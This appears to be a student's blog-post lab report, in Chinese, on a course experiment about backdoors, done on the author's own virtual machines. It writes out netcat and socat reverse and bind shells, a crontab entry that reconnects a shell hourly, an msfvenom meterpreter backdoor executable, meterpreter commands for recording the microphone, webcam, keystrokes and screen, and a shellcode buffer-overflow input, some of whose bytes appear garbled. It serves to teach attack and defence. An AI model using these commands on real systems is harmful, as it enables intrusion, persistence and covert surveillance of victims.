20174309徐宁艺 Exp2 后门原理与实践

写在前面:
       再次打开虚拟机的第一件事情就是看我的共享文件夹如何了,果不其然又不见了。以下是设置每次开机启动都自动挂载共享文件夹的方法:

       1. 使用vi编辑器打开/etc/fstab

       2.在fstab文件最后一行添加

.host:/ShareDir(共享文件夹名称) /mnt/hgfs/ShareDir fuse.vmhgfs-fuse allow_other 0 0    

       然后输入【:wq】保存并退出。此时重启会发现共享文件夹里会有文件。(关于共享文件夹的第二次补充)

一、实验原理

(一)后门概念

       后门就是不通过正常认证流程而访问系统的通道。本次实验特指潜伏于操作系统中专门做后门的一个程序。

(二)常用后门工具

       1.NC或NETCAT

       (1)是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

       (2)Linux一般自带,“man netcat”或“man nc”可以查看使用说明。

       Windows下载老师上传的附件解压后运行程序闪退,复制到system32文件夹后cmd输入nc显示【不是内部或外部命令,也不是可运行的命令】,输入ncat则有以下显示:

 

       自行安装ncat步骤如下:

  • 官网下载链接https://eternallybored.org/misc/netcat/
  • 下载后被识别为木马病毒,选择将其找回。
  • 解压后将nc.exe文件复制到C:WindowsSystem32,再打开cmd发现可以正常运行

 

       (3)Windows与Linux之间传输数据

  •  Windows端cmd输入 nc.exe 192.168.152.129 5310
  •  Linux端输入 nc -l -p 5310
  • 此时在任意一端的输入都会在另一端显示出来:

       (4)Windows获得Linux的Shell

  •  在Windows端cmd输入 ipconfig 查看IP地址为192.168.137.1

  • 还是Windows端cmd继续输入 nc -l -p 5310 打开Windows监听,此时弹出防火墙选择【允许访问】
  • Linux端输入 nc 192.168.137.1 5310 -e /bin/sh 
  • 此时Windows端获得Linux的shell,可以输入shell指令:

 

        (5)Linux获得Windows的shell

  • Linux端输入 ip addr 得到IP地址为192.168.152.129

  •  还是Linux端输入 nc -l -p 5310 打开监听
  • 在Windows端
  • 此时Linux端可以输入Windows的shell指令

     

       2.Meterpreter
       Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。 

二、实验过程     
(一)使用netcat获取主机操作shell,cron启动
       crontab用于设置周期性被执行的指令。在Linux端下:

  •  输入 crontab -e 添加cron任务区,选择编辑器3
  • 在最后一行添加代码 3 * * * * /bin/netcat 192.168.137.1 5301 -e /bin/sh ,表示每小时的第20分钟反向链接Windows主机的5301端口,然后保存并退出。

  • 时间到达21:25的时候在Windows端验证

(二)使用socat获取主机操作Shell, 任务计划启动

        socat是ncat的增强版,是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备等,主要特点是能在两个数据流之间建立通道,且支持众多协议和链接方式如ip, tcp, udp, ipv6等。

  •  在Windows端下载socat压缩包
  • 在Windows单击【计算机】—【管理】—【任务计划程序】下【任务计划程序库】,选择【创建任务】

  •  填写任务名,新建一个触发器

 

  • 新建操作,在【程序或脚本】中选择【socat.exe】文件路径,在添加参数一栏填写 tcp-listen:5302 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口5302,同时把cmd.exe的stderr重定向到stdout上

        此时可以看到任务状态为【准备就绪】

  •  在21:55时弹出一个cmd窗口和防火墙设置,依旧选择【允许访问】,在Linux端输入 socat - tcp:192.168.137.1:5302 ,但是显示连接被拒绝

       推测可能是由于Linux系统防火墙没有关闭,使用以下方法关闭防火墙:

       进入root用户,输入 apt-get install ufw (因为kali比较特殊,不能直接利用iptables服务,需下载ufw进行管理),然后输入 sudo ufw disable ,此时防火墙已成功关闭

        重复上面的步骤,发现可以获取Windows的shell,说明我猜对了,嘿嘿嘿

 

(三)使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

  •  在Linux端输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=5302 -f exe > 4309_backdoor.exe (主机地址、端口号和文件名自行修改),此时命令运行不了(我怎么又出错了我好难)

       输入 sudo gem install bundler:1.17.3 ,再输入上面的命令,可以执行了,文件管理器中可以看到后门程序已经生成了

  •  在Windows端下输 nc.exe -lv 5302 > 4309_backdoor.exe ,在Linux端下输入 nc 192.168.137.1 5302 < 4309_backdoor.exe ,我哭出声,它怎么又不行了 

Windows:

Linux:

        通过查找资料。。。。也没有找到解决办法,但是很神奇的是后门程序自己出现在Windows里了(我发誓我没有复制它!先继续吧等做完再查查怎么回事)

 

  • 在Linux上使用msfconsole 进入msf控制台,依次输入:
use exploit/multi/handler         //监听设置payload
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.152.129 //Linux端的IP地址 set LPORT 5302 //与之前输入的端口号一致 exploit //开始监听

      在Windows端关闭命令行窗口,双击运行后门程序4309_backdoor.exe,返回Linux端之后发现获得Windows的shell。

(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

        做第四个实验的时候已经是第二天上午了,需要按照前一个实验步骤重新打开meterpreter监听

       1.获取录音权限

       使用 record_mic -d 10 来获取录音权限并录制一段10s的音频,录制完毕后可以看到保存路径,音频可以播放

        2.获取摄像头权限

        使用 webcam_snap 可以获取摄像头权限来拍摄

       注意拍得比较快,所以记得提前摆好pose,或者直接像我一样让男朋友出场也行(好帅)

 

        3.获取击键记录

       使用 keyscan_start 可以获取击键权限得到击键记录, keyscan_dump 可以用于读取击键记录

        我在Word里面输了这些内容(被监视的感觉!虽然是被自己监视的 =。=)

       4. 获取截屏权限

       使用 screenshot 可以获得截屏,可以看到我此刻正在边做实验边写博客(被监视的感觉越发令人害怕)

        5.提权

        使用 getuid 可以查看用户, getsystem 进行提权。

        哦失败了。参考了丁文韬同学的博客(虽然我不认识,不过没关系)此处是链接

       哦还是失败了。只好去问度娘了。

(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

       1.生成shellcode

 

  • 打开终端1,先关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space ,然后根据得到的机器码,构造input文件
perl -e 'print "A" x 32;print"x1x2x3x4\x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
  •  结合实验一的内容查看shellcode的地址(此处详细过程略)    

       可得shellcode的地址为0xffffd1b4,修改生成input文件

perl -e 'print "A" x 32;print"xb4xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input

       2.msf注入

  • 打开终端2,输入 msfconsole 打开msf控制台,输入以下内容:
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit

       其中主机地址和和端口号根据前面下载的源文件得到

  • 在前面打开的终端1中输入 (cat input;cat) | ./20174309pwn1 ,此时在终端2中可以使用shell了

三、实验总结

(一)基础问题回答

       1.例举你能想到的一个后门进入到你系统中的可能方式?

       安装了带有后门的盗版、破解版软件。

       2.例举你知道的后门如何启动起来(win及linux)的方式?

       Windows:开机自启动、打开软件的时候启动、下载文件捆绑

       Linux:注入shellcode

       3.Meterpreter有哪些给你印象深刻的功能?

       能够控制摄像头、记录击键,感觉自己的电脑完全被监视了,细思极恐

       4.如何发现自己的系统有没有被安装后门?

       我觉得就我们现在的水平而言还是先依靠那些杀毒软件、电脑管家吧,定期进行电脑体检、定期杀毒、及时修复系统漏洞。如果想不看这些软件检测一下的话,可以看看有无异常端口开放,注册表有无异常,有无其他admin权限的用户等。

(二)实验总结与体会

       这次实验让我体会到了黑客技术的可怕,完成实验的第一件事就是打开我的杀毒软件,被监控的感觉实在是让人心里发毛。虽然我们做的只是简单基本的操作,但是在电脑互联网刚刚出现的那个年代,没有这么强大的安全防护意识和防护能力,被有心之人安装后门简直轻而易举。随着科技的进步,攻与防始终是此消彼涨,要做好防护工作,必须充分了解攻击技术才能有效针对,我认为这才是我们学习这些知识的意义所在。

       这次实验很遗憾的是提权操作到最后也依然没有成功。等我缓缓再想想办法看看吧。

原文地址:https://www.cnblogs.com/20174309xny/p/12485392.html